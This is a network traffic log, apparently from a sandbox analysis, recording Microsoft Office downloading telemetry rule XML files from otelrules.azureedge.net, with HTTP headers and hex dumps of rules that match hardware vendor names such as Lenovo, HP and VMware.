2024-11-24 18:12:37 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4bad8666-601e-0032-490e-3eeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181238Z-178bfbc474bw8bwphC1NYC38b4000000062000000000k18r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:37 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181238Z-15b8b599d88cn5thhC1TEBqxkn00000004rg000000005bwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:38 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:37 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181238Z-178bfbc474bwh9gmhC1NYCy3rs00000006e0000000006hvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:37 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181238Z-178bfbc474bscnbchC1NYCe7eg00000006k0000000001p92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:38 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ba9b913e-601e-0001-2f1a-3dfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181238Z-178bfbc474bvjk8shC1NYC83ns000000064000000000d9za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:38 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:40 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181240Z-15b8b599d88qw29phC1TEB5zag00000004ug0000000059c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:40 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:40 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 464f6e4e-101e-005a-3b0e-3e882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181240Z-178bfbc474btrnf9hC1NYCb80g00000006h00000000054xt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:40 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:40 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181240Z-15b8b599d88vp97chC1TEB5pzw00000004r000000000ef3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:40 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181240Z-174c587ffdfb74xqhC1TEBhabc00000004p000000000s08f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 18:12:40 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:40 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 5b0f4dfe-c01e-00a1-3715-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181240Z-178bfbc474bbcwv4hC1NYCypys000000068g000000002b41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:40 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:42 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181242Z-178bfbc474bp8mkvhC1NYCzqnn000000063g00000000ecda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:42 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:42 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181242Z-178bfbc474brk967hC1NYCfu600000000650000000006vz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:42 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" 